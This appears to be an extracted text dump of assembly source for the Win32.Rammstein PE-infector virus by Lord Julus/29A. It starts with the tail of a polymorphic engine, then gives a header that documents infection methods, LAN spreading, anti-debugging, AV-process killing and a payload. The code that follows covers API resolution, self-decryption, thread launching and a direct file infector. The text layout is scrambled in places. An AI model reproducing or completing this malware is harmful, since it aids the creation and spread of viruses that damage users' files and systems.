cl,_EBP edx,04h AddAddREGINM AddShit cl,byte ptr [LoopReg+ebp] edx,1 AddSubREGINM ebx eax,edi eax,ebx eax al,75h eax ah,0feh al,ah al,ah

AddShit cl,byte ptr [LoopReg+ebp] AddPopREG AddShit al,byte ptr [LoopReg+ebp] FreeReg cl,byte ptr [KeyReg+ebp] AddPopREG AddShit cl,_EBP AddPopREG AddShit al,0c3h

esi edi,esi eax,edi

; ; Poly engine data ; _EAX equ 0 _ECX equ 1 _EDX equ 2 _EBX equ 3 _ESP equ 4 _EBP equ 5 _ESI equ 6 _EDI equ 7 RegStatus db KeyReg db

8 dup(0) 0

LoopReg CrptKey CodeSize Rnd

db dd dd db

0 0 0 ?

; ; returns AL: selected register ; GetReg: xor eax,eax mov al,byte ptr [CrptKey+ebp] GetReg1: and al,7 lea ecx,RegStatus+ebp add ecx,eax mov dl,byte ptr [ecx] or dl,dl jz GetReg0 inc al jmp GetReg1 GetReg0: mov byte ptr [ecx],1 ret ; ; AL: selected ; FreeReg: and lea add mov ret ; ; ; ; ; ; ;

register to free

eax,7 ecx,RegStatus+ebp ecx,eax byte ptr [ecx],0

Instruction generators EDI: Destination code ECX: Reg (if applicable) EDX: Inm (if applicable)

AddPushREG: mov add stosb ret AddPopREG: mov add stosb ret AddMovREGINM: mov add stosb mov stosd ret AddMovREGMEMEBP:

al,050h al,cl

al,058h al,cl

al,0b8h al,cl eax,edx

mov stosb mov mul add stosb mov stosd ret

al,08bh al,08h cl al,85h eax,edx

AddXorMEMEBPREG: mov al,031h stosb mov al,08h mul cl add al,45h stosb xor al,al stosb ret AddAddREGINM: or jnz mov stosb jmp AddAddREGINM0: mov stosb mov add stosb AddAddREGINM1: mov stosd ret

cl,cl AddAddREGINM0 al,05h AddAddREGINM1 al,081h al,0c0h al,cl

eax,edx

AddSubREGINM: or cl,cl jnz AddSubREGINM0 mov al,2dh stosb jmp AddSubREGINM1 AddSubREGINM0: mov al,081h stosb mov al,0e8h add al,cl stosb AddSubREGINM1: mov eax,edx stosd ret ; ; Yet another lame shit generator by Bumblebee ;) ; AddShit: mov eax,dword ptr [CrptKey+ebp] add byte ptr [Rnd+ebp],al and al,1 jz AddShit2

xor mov lea and mov mul add mov stosw mov and jz lea mov and mov mul add mov stosw stosw ret AddShit2: xor mov lea and mov mul add mov stosw lea add mov and mov mul add mov stosw

eax,eax al,byte ptr [Rnd+ebp] edx,shit0+ebp al,7 cl,2 cl edx,eax ax,word ptr [edx]

al,byte ptr [Rnd+ebp] al,2 AddShit2 edx,shit1+ebp al,byte ptr [Rnd+ebp] al,3 cl,2 cl edx,eax ax,word ptr [edx]

eax,eax al,byte ptr [Rnd+ebp] edx,shit0+ebp al,7 cl,2 cl edx,eax ax,word ptr [edx]

edx,shit0+ebp edx,2 al,byte ptr [Rnd+ebp] al,3 cl,2 cl edx,eax ax,word ptr [edx]

ret ; some do-nothing opcodes shit0: dw 9090h,0db87h,0c987h,0d287h,4840h,434bh,4941h,4a42h shit1: dw 0d0f7h,0d3f7h,0d1f7h,0d2f7h crptSecondEND label byte ; Decryptor for the second layer. secondLayerDecrypt: push ebp mov ebp,esp push ecx mov ebp,dword ptr [ebp+4] mov ecx,crptSecondEND-crptSecondINI secondLayerLoop: not byte ptr [ebp] inc ebp loop secondLayerLoop

pop ret

ecx ebp

crptEND label byte vEnd label byte ; This is a fake decryptor for the 1st generation. Allows the virus to ; skip the second layer decryptor. crypt: pop edx lea edx,crptSecondINI push edx ret ; ; Temp data. Not stored into the file, only 1st generation. ; BUFFERBEGIN label byte stringBuffer db STRINGTOP dup(0) tmpPath db STRINGTOP dup(0) address dd 0 names dd 0 ordinals dd 0 nexports dd 0 expcount dd 0 memHnd dd 0 fHnd fhmap mapMem fileSize fileAttrib fileTime0 fileTime1 fileTime2 pad fNameAddr gensize virtsize myRVA fstSec find_data findHnd semHook EPORva BUFFEREND BUFFERSIZE dd dd dd 0 0 0

dd 0 dd 0 dd 0,0 dd 0,0 dd 0,0 dd 0 dd 0 dd 0 dd 0 dd 0 dd 0 WIN32_FIND_DATA <0> dd 0 db 0 dd 0 label byte equ BUFFEREND-BUFFERBEGIN

; ; For 1st generation only. ; fakeHost: push 0h call ExitProcess Ends End inicio

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[RAMM.ASM]ÄÄÄ comment $ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛß ßÛß ßÛß ßÛÛ ÛÛ Û Û Û Û Û ÛÛ ÛÛÛßßß ÜÛÜ Û ÛÛ ÛÛ ßßßßÛßßßß Û Û ÛÛ ÛÛ Û ÜÛ Û ÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÜÜÜÜÜÜÜ Û ÜÜÜ Û Û Ü ÜÜÛ ÛÜÛÜÜÜÛ ÜÜÜÜÜÜÜ Û ÜÜÜ Û Û ÜÜÜ Û ÛÜÛ ÛÜÛ ÜÜÜÜÜÜÜ Û Ü Ü Û Û Û Û Û ÛÜÛßÛÜÛ ÜÜÜÜÜÜÜ Û Ü Ü Û Û Û Û Û ÛÜÛßÛÜÛ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ Û ÜÜÜÜÛ ÜÛßÛÜ Û ÜÜÜÜÛ ÛÜÜÜÜ Û ÛÜ ÜÛ Û ÜÜÜÛÜ ÛÜÜÜÜÜÛ ßßß ÛÜÜÜÜÜÛ v4.0 = Final Release = (c) Lord Julus / 29A (Nov 2000) ÜÜÜÜÜ ÛÜ ÜÛ ÜÛ ÛÜ ÛÜÜÜÛ ÜÜÜ ÜÜÜ Û ßÛÛ Û Û ÛÜß Û ÛÜÛßÛÜÛ

=================================================================== DISCLAIMER This is the source code of a virus. Possesing, using, spreading of this source code, compiling and linking it, possesing, using and spreading of the executable form is illegal and it is forbidden. Should you do such a thing, the author may not be held responsible for any damage that occured from the use of this source code. The actual purpose of this source code is for educational purposes and as an object of study. This source code comes as is and the author cannot be held responsible for the existance of other modified variants of this code. ==================================================================== History: 09 Sep 2000 - Today I made a small improvement. When the dropper roams the net onto another computer it remains in the windows dir and it represents a weak point which might be noticed by an av. So, now, the virus will smartly remove either the dropper or the entry in the win.ini file if one of them is missing. If both are there, they are left alone because they will remove eachother. Added Pstores.exe to the black list. Thanks to Evul for pointing me out that it is a rather peculiar file and cannot be safely infected. 22 Jul 2000 - The virus has moved up to version 4.0. Today I added the network infector. It comes in a separate thread. For the moment looks like everything works fine. Will add a timer to it so that it does not hang in huge networks... Virus is above 13k now... Waiting for the LZ! 18 Jul 2000 - Fixed a bug in the section increase algorithm: if you want to have a good compatibility you NEED to place the viral code exactly at the end of file and NOT at the end of the VirtualSize or SizeOfRawData as it appears

in the section header, because many files get their real size calculated at load time in some way. HURRAY!!! YES!! I fixed a shitty bug! If you do section add you MUST check also if any directory VA follows immediately the last section header so that you will not overwrite it. Now almost all files work ok under NT!!!! However, I don't seem to be able to make outlook.exe get infected so I put it on the black list. The other MsOffice executables get infected correctly on both Win9x and WinNT. 17 Jul 2000 - Have started some optimizations and proceduralizations (;-)))). The virus is quickly going towards 13k so I am quite anxious to implement my new LZ routine to decrease it's size. I fixed a bug: WinNT NEEDS the size of headers value to be aligned to file alignment. 14 Jul 2000 - Worked heavily on the WindowsNT compatibility. In this way I was able to spot 2 bugs in the infection routine, one regarding RVA of the new section and one regarding the situation when the imports cannot be found by the api hooker. Still thinking if I should rearrange relocs also? Now files are loaded under WindowsNT (NT image is correct) but they cannot fully initialize. Will research some more. 03 Jun 2000 - Added an encryption layer with no key, just a rol/ror routine on parity. Also added some MMX commands. Fixed a few things. 22 May 2000 - Added EPO on files that have the viral code outside the code section. Basically from now on the entry point stays only into the code section. The epo is not actually epo, because as I started to code it I decided to make it very complicated so I will include the complicated part in the next release. It will be the so called LJILE32 <Lord Julus' Instruction Length Engine 32>. This engine will allow me to have an exact location of the opcode for each instruction so we will be able to look up any call, jump or conditional jump to place our code call there. So for this version only a jump at the original eip. 21 May 2000 - Fixed a bug in the api hooker... I forgot that some import sections have a null pointer to names. Also added the infection by last section increase for files who cannot be infected otherwise. All files should be touched now. Also I fixed the problem with the payload window not closing after the process closed. I solved half of it as some files like wordpad.exe still have this problem. 20 May 2000 - Prizzy helped me a lot by pointing out to me that in order to have the copro working ok I need to save it's environment so that the data of the victim process in not altered. thanx!! Also fixed the cpuid read. 14 May 2000 - Released first beta version to be tested ==================================================================== Virus Name ........... Win32.Rammstein Virus Version ........ 4.0 Virus Size ........... 14002 (debug), 15176 (release) Virus Author ......... Lord Julus / 29A Release Date ......... 30 Nov 2000

Virus type ........... PE infector Target OS ............ Win95, Win98, WinNT, Win2000 Target Files ......... many PE file types: EXE COM ACM CPL HDI OCX PCI QTC SCR X32 CNV FMT OCM OLB WPC Append Method ........ The virus will check wether there is enough room for it inside the code section. If there is not enough room the virus will be placed at end. If there is it will be inserted inside the code section at a random offset while the original code will be saved at end. The placing at the end has also two variants. If the last section is Resources or Relocations the virus will insert a new section before the last section and place the data there, also rearranging the last section's RVAs. If the last section is another section a new section will be placed at end. The name of the new section is a common section name which is choosed based on the existing names so that it does not repeat. If the virus is placed at the end just a small EPO code is used so that the eip stays inside the code section. A special situation occurs if there is no enough space to add a new section header, for example when the code section starts at RVA 200 (end of headers). In this situation the virus will increase the last section in order to append. Infect Methods ....... -Direct file attacks: the virus will attack specific files in the windows directory, files which are most used by people -Directory scan: all files in the current directory will be infected, as well as 3 files in the system directory and 3 in the windows directory -Api hooking (per-process residency): the virus hooks a few api calls and infects files as the victim uses the apis -Intranet spreading: the virus spreads into the LAN using only windows apis Features ............. Multiple threads: the virus launches a main thread. While this thread executes, in the same time, the original thread returns to host, so no slowing down appears. The main viral thread launches other 6 threads and monitors their execution. If one of the threads is not able to finish the system is hanged because it means somebody tryied to patch some of the thread code. Heavy anti-debugging: i tried to use almost all the anti-debug and anti-emulation stuff that I know FPU: uses fpu instructions Crc32 search: uses crc32 to avoid waste of space Memory roaming: allocates virtual memory and jumps in it Interlaced code: this means that some threads share the same piece of code and the virus is careful to let only one in the same time otherwise we get some of the variables distroyed. Preety hard to be emulated by avs. Also features semaphores, timers Marks infection using the Pythagoreic numbers. SEH: the virus creates 9 SEH handlers, for each thread and for the main thread.

(*) (*)

Polymorphic .......... Metamorphic .......... Encrypted ............ Safety ............... Kill AV Processes .... Payload ..............

Yes (2 engines: Modularis, LJFPE32) Yes (mild custom metamorphic engine) Yes Yes (avoids infecting many files) Yes On 14th every even month the infected process will launch a thread that will display random windows with some of the Rammstein's lyrics. Pretty annoying... Probably this is the first virus that actually creates real windows and processes their messages. The windows shut down as the victim process closes.

(*) Feature not included in this version. Debug notes: please note that this source code features many ways of debugging. You may turn on and off most of the virus's features by turning some variables to TRUE or FALSE. ==================================================================== $ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .586p ; .model flat, stdcall ; ; extrn MessageBoxA:proc ; extrn ExitProcess: proc ; ; TRUE = 1 ; FALSE = 0 ; DEBUG = TRUE ;debug on? ANTIEMU = TRUE ;anti-debuggin/emulation? JUMP = TRUE ;allocate and jump in mem? DIRECT = TRUE ;direct action? ANTIAV = TRUE ;anti-av feature? APIHOOK = TRUE ;hook imported apis? MAINTHREAD = TRUE ;launch a main thread? PAYLOAD = TRUE ;use payload? RANDOMIZE_ENTRY = TRUE ;randomize code sec entry? EPO = TRUE ;Use EPO MMX = FALSE ; NETWORKINFECTION = TRUE ; VIRUSNOTIFYENTRY = FALSE ;msgbox at virus start? VIRUSNOTIFYEXIT = FALSE ;msgbox at virus end? VIRUSNOTIFYHOOK = FALSE ; MAINTHREADSEH = TRUE ; THREAD1SEH = TRUE ; THREAD2SEH = TRUE ; THREAD3SEH = TRUE ; THREAD4SEH = FALSE ; THREAD5SEH = FALSE ; THREAD6SEH = TRUE ; CHECKSUM = TRUE ; WE_ARE_LAST = 0 ; RELOCATIONS_LAST = 1 ; RESOURCES_LAST = 2 ; NOT_AVAILABLE = 0 ; AVAILABLE = 1 ; METHOD_MOVE_CODE = 0 ; METHOD_APPEND_AT_END = 1 ; METHOD_INCREASE_LAST = 2 ;

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; IF MMX ; include mmx.inc ; MMX ! ENDIF ; ; @endsz macro ;locate end of asciiz local nextchar ;string ; nextchar: ; lodsb ; test al, al ; jnz nextchar ; endm ; ; include w32nt_lj.inc ; include w32us_lj.inc ; ; ; Credits to jp, vecna, prizzy ;calculate crc32 mCRC32 equ 0C1A7F39Ah ; mCRC32_init equ 09C3B248Eh ; crc32 macro string ; crcReg = mCRC32_init ; irpc _x,<string> ; ctrlByte = '&_x&' xor (crcReg and 0FFh) crcReg = crcReg shr 8 ; rept 8 ; ctrlByte = (ctrlByte shr 1) xor (mCRC32 * (ctrlByte and 1)) endm ; crcReg = crcReg xor ctrlByte ; endm ; dd crcReg ; endm ; ; noter macro string ;this NOTs a string irpc _x,<string> ; notbyte = not('&_x&') ; db notbyte ; endm ; db not(0) ; endm ; ; PUSH_POP STRUCT ; pop_edi dd ? ;helps us to pop stuff... pop_esi dd ? ; pop_ebp dd ? ; pop_esp dd ? ; pop_ebx dd ? ; pop_edx dd ? ; pop_ecx dd ? ; pop_eax dd ? ; PUSH_POP ENDS ; ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; .data ; db 0 ; ; .code ; ; start: ; IF DEBUG ; jmp xxx ;

debug_start db 'Here is the start of the virus.',0 ;Really!! ;-) xxx: ; ENDIF ; pushad ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call getdelta ; Get the delta handle ; getdelta: ; pop ebp ; sub ebp, offset getdelta ; or ebp, ebp ;check if first gen jnz no_first ; mov [ebp+firstgen], 1 ;mark the first generation jmp get_base ; ; no_first: ; mov [ebp+firstgen], 0 ; ; get_base: ; call getimagebase ; And the imagebase... ; getimagebase: ; pop eax ; ; ourpoint: ; sub eax, 1000h+(ourpoint-start)-1 ;before this eax equals ;imagebase+RVA(ourpoint)+ ;RVA(code section) ; mov dword ptr [ebp+imagebase], eax ; mov dword ptr [ebp+ourimagebase], eax ; jmp over_data ; ; imagebase dd 00400000h ; ourimagebase dd 0 ; firstgen dd 0 ; ; over_data: ; cmp [ebp+firstgen], 1 ; je EncryptedArea ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call DecryptOffset ;very light internal ;decrypt module DecryptOffset: ;no key, just ror/rol pop esi ; add esi, (EncryptedArea - DecryptOffset) ; mov edi, esi ; mov ecx, (end2-EncryptedArea) ; ; DecryptLoop: ; lodsb ; mov ebx, ecx ; inc bl ; jp parity ; ror al, cl ; jmp do_decrypt ; ; parity: ; rol al, cl ; ; do_decrypt: ; stosb ; loop DecryptLoop ;

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ EncryptedArea: ; mov [ebp+delta], ebp ;save additional deltas IF ANTIEMU ; mov [ebp+delta2], ebp ; ENDIF ; mov eax, [ebp+imagebase] ; mov dword ptr [ebp+adjust], eax ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ lea eax, [ebp+ExceptionExit] ; Setup a SEH frame push eax ; push dword ptr fs:[0] ; mov fs:[0], esp ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov [ebp+copying], 0 ;reset our syncronization mov [ebp+in_list], 0 ;variables mov [ebp+free_routine], AVAILABLE ; mov [ebp+crt_dir_flag], 3 ; mov [ebp+apihookfinish], 0 ; ; lea esi, [ebp+module_names] ;decrypt module names mov ecx, module_names_length ; call not_list ; ; mov eax, [esp+28h] ;first let's locate the lea edx, [ebp+kernel32_name] ;kernel32 base address call LocateKernel32 ; jc ReturnToHost ; mov dword ptr [ebp+k32], eax ; lea esi, dword ptr [ebp+kernel32apis] ; lea edx, dword ptr [ebp+kernel32addr] ; mov ecx, kernel32func ; call LocateApis ;and kernel32 apis jc ReturnToHost ; ; lea edi, dword ptr [ebp+advapi32_name] ;locate advapi32 call LocateModuleBase ; jc ReturnToHost ; mov dword ptr [ebp+a32], eax ; lea esi, dword ptr [ebp+advapi32apis] ; lea edx, dword ptr [ebp+advapi32addr] ; mov ecx, advapi32func ; call LocateApis ;and the apis jc ReturnToHost ; ; lea edi, dword ptr [ebp+user32_name] ;locate user32 call LocateModuleBase ; jc ReturnToHost ; mov dword ptr [ebp+u32], eax ; lea esi, dword ptr [ebp+user32apis] ; lea edx, dword ptr [ebp+user32addr] ; mov ecx, user32func ; call LocateApis ;and it's apis jc ReturnToHost ; ; lea edi, dword ptr [ebp+gdi32_name] ;locate gdi32 call LocateModuleBase ; jc ReturnToHost ; mov dword ptr [ebp+g32], eax ; lea esi, dword ptr [ebp+gdi32apis] ; lea edx, dword ptr [ebp+gdi32addr] ; mov ecx, gdi32func ; call LocateApis ;and it's apis

; ; lea edi, dword ptr [ebp+mpr32_name] ;locate mpr32 call LocateModuleBase ; jc NoNetworkApis ; mov dword ptr [ebp+m32], eax ; lea esi, dword ptr [ebp+mpr32apis] ; lea edx, dword ptr [ebp+mpr32addr] ; mov ecx, mpr32func ; call LocateApis ;and it's apis jc NoNetworkApis ; ; mov [ebp+netapis], TRUE ; jmp get_img ; ; NoNetworkApis: ; mov [ebp+netapis], FALSE ; ; get_img: ; lea edi, dword ptr [ebp+img32_name] ;locate and save call LocateModuleBase ;the checksum procedure jc no_image ; call @checksum ; db "CheckSumMappedFile", 0 ; @checksum: ; push eax ; call [ebp+_GetProcAddress] ; mov [ebp+checksumfile], eax ; ; no_image: ; lea esi, [ebp+module_names] ;recrypt names mov ecx, module_names_length ; call not_list ; ; IF VIRUSNOTIFYENTRY ; push 0 ; call entrytext1 ; db 'Rammstein viral code start!', 0 ; entrytext1: ; call entrytext2 ; db 'Rammstein viral code start!', 0 ; entrytext2: ; push 0 ; call [ebp+_MessageBoxA] ; ENDIF ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call smash_dropper ;kill dropper call getversion ;get the windoze version ; WindowsVersion OSVERSIONINFOA <SIZE OSVERSIONINFOA>; ; getversion: ; call [ebp+_GetVersionExA] ; mov byte ptr [ebp+version], al ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov [ebp+skipper], 0 ; IF MMX ; pushfd ;push flags pop eax ;get flags bt eax, 21h ;test for mmx presence jnc no_mmx_present ; mov [ebp+mmx], TRUE ;set it! jmp done_mmx ;

jc ReturnToHost

; no_mmx_present: ; mov [ebp+mmx], FALSE ; ; done_mmx: ; ENDIF ; IF JUMP ;allocate some more ; cmp [ebp+method], METHOD_MOVE_CODE ;if code is not moved jne restore_epo ;skip memory jump ; call [ebp+_VirtualAlloc], 0, virussize+1000h, MEM_COMMIT+MEM_RESERVE,\ PAGE_EXECUTE_READWRITE or eax, eax ;memory jnz no_memory_error ; ; call fatalexit ;we cannot continue... db "Not enough memory!", 0 ; ; fatalexit: ;if an error occurs, then push 0 ;simulate a fatal exit call [ebp+_FatalAppExitA] ; ; no_memory_error: ; mov [ebp+memory], eax ;otherwise copy the lea esi, [ebp+start] ;virus to memory and mov edi, eax ; mov ecx, virussize ; rep movsb ; add eax, offset resident_area - offset start; push eax ; ret ;continue there... ; restore_epo: ; IF EPO ; mov edi, [ebp+addressofentrypoint] ;restore epo add edi, [ebp+imagebase] ; lea esi, [ebp+saved_code] ; lodsd ; stosd ; lodsd ; stosd ; ENDIF ; ; resident_area: ; call getdelta2 ;get delta again... ; getdelta2: ; pop ebp ; sub ebp, offset getdelta2 ; mov [ebp+delta], ebp ; IF ANTIEMU ; mov [ebp+delta2], ebp ; ENDIF ; ; cmp [ebp+firstgen], 1 ; je grunge ; ; cmp [ebp+method], METHOD_MOVE_CODE ;check the method jne second_method ; ; mov esi, [ebp+codesource] ;if here, we must move mov edi, [ebp+codedestin] ;some code back to where

;it belongs... ; ; ; ; second_method: ; ; grunge: ; ENDIF ; IF MAINTHREAD ;now we launch the main lea ebx, [ebp+mainthreadid] ;thread lea eax, [ebp+MainThread] ; call [ebp+_CreateThread], 0, 0, eax, ebp, 0, ebx; cmp [ebp+firstgen], 1 ;if it is the first gen jne do_return ;than wait for it to call [ebp+_WaitForSingleObject], eax, INFINITE ;finish ; do_return: ;otherwise, return to host jmp ReturnToHost ;here... ENDIF ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ MainThread proc ; call @MainThreadDelta ;for our main thread get @MainThreadDelta: ;the delta handle again pop ebp ; sub ebp, offset @MainThreadDelta ; ; IF MAINTHREADSEH ; lea eax, [ebp+MainExceptionExit] ; Setup a SEH frame push eax ; push dword ptr fs:[0] ; mov fs:[0], esp ; ; no_main_seh: ; ENDIF ; lea edx, [ebp+OurThreads] ;Prepare to create the lea ebx, [ebp+OurThreadIds] ;threads... lea edi, [ebp+OurThreadHandles] ; mov ecx, 6 ; ; create_loop: ; mov eax, [edx] ; add eax, ebp ; call StartThread ;start them and set add edx, 4 ;them add ebx, 4 ; add edi, 4 ; loop create_loop ; ; cmp [ebp+no_imports], TRUE ; jne no_per_process_skip ; mov [ebp+skipper], 1 ; ; no_per_process_skip: ; lea eax, [ebp+offset Semaphore] ;now prepare a semaphore push eax ;to monitor their push 31 ;execution push 0 ; push 0 ; call [ebp+_CreateSemaphoreA] ; mov [ebp+hsemaphore], eax ; ; lea edi, [ebp+OurThreadHandles] ;and now start them...

add add mov rep

esi, [ebp+imagebase] edi, [ebp+imagebase] ecx, virussize movsb

; ; resume_loop: ; push ecx ; push dword ptr [edi] ; call [ebp+_ResumeThread] ;resume! add edi, 4 ; pop ecx ; loop resume_loop ; ; push FALSE ;Wait forever until all push INFINITE ;threads finish... push TRUE ;(if the mainthread is lea eax, [ebp+offset OurThreadHandles] ;TRUE, by this time the push eax ;host is already running push 6 ;in parallel with this call [ebp+_WaitForMultipleObjectsEx] ;thread) ; lea eax, [ebp+test_semaphore] ;now get the last count push eax ;of the semaphore... push 1 ;Should be 6*5... push [ebp+hsemaphore] ; call [ebp+_ReleaseSemaphore] ; ; push [ebp+hsemaphore] ;close semaphore call [ebp+_CloseHandle] ; ; mov eax, [ebp+test_semaphore] ;now get the value mov ebx, offset where_to - offset jump ;calculate jump offset sub ebx, 30 ;5*6 add eax, ebx ;and make a jump with it add eax, offset jump ;If the value is smaller add eax, ebp ; jump: jmp eax ;then it should jmp jump ;mean someone fucked with jmp jump ;our threads and probably jmp jump ;the execution falls here jmp jump ;where it hangs... This jmp jump ;will give the user the jmp jump ;impression that he played jmp jump ;with hot stuff... ; where_to: ; IF MAINTHREAD ;if we have a mainthread db 0E9h ;we must kill it... dd offset KillThread - $-4 ; ELSE ; db 0E9h ;otherwise, simply return dd offset ReturnToHost - $-4 ;to host... ENDIF ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ StartThread: ; pusha ;here we create threads call [ebp+_CreateThread], 0, 0, eax, ebp, CREATE_SUSPENDED, ebx mov [edi], eax ; push THREAD_PRIORITY_HIGHEST ;and set their priority push dword ptr [ebx] ; call [ebp+_SetThreadPriority] ; popa ; db 0c3h ;ret ret ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ OurThreadIds: ;

mov ecx, 6

Thread_1_id Thread_2_id Thread_3_id Thread_4_id Thread_5_id Thread_6_id

;Direct infector ;Directory infector ;AV killed ;Anti-debugging ;Api hooker ;Network infector ; OurThreadHandles: ; Thread_1_handle dd 0 ; Thread_2_handle dd 0 ; Thread_3_handle dd 0 ; Thread_4_handle dd 0 ; Thread_5_handle dd 0 ; Thread_6_handle dd 0 ; hsemaphore dd 0 ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;Û This Thread is the direct infector thread ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Thread_1_StartAddress proc PASCAL tdelta: dword ; call @Thread1Delta ;I have been experiencing @Thread1Delta: ;problems with delta pass pop ebp ;via the parameter so I sub ebp, offset @Thread1Delta ;decided to read it again ; IF THREAD1SEH ; lea eax, [ebp+Thread1Exception] ; Setup a SEH frame push eax ; push dword ptr fs:[0] ; mov fs:[0], esp ; ENDIF ; ; IF DIRECT ; lea esi, [ebp+offset direct_list] ;point file names in the mov ecx, direct_list_len ;Windows directory and call not_list ;restore names... ; push 260d ; call windir ;get the Windows dir. name_ db 260d dup (0) ; ; windir: ; call [ebp+_GetWindowsDirectoryA] ; lea edi, [ebp+name_] ;point the dir path xchg eax, edx ; lea esi, [ebp+direct_list] ;point names inc esi ; inc esi ; ; direct_loop: ; mov word ptr [edi+edx], 005Ch ;mark terminator slash cmp byte ptr [esi], 0FFh ;was last name? je direct_end ; call [ebp+_lstrcat], edi, esi ;concatenate stringz lea eax, [ebp+W32FD] ;pointer to find data call [ebp+_FindFirstFileA], edi, eax ;find file cmp eax, INVALID_HANDLE_VALUE ;none? je next_direct ; ; push edi ; lea edi, [edi.WFD_cFileName] ; @001: cmp [ebp+free_routine], NOT_AVAILABLE ; je @001 ; mov [ebp+free_routine], NOT_AVAILABLE ;

dd dd dd dd dd dd

0 0 0 0 0 0

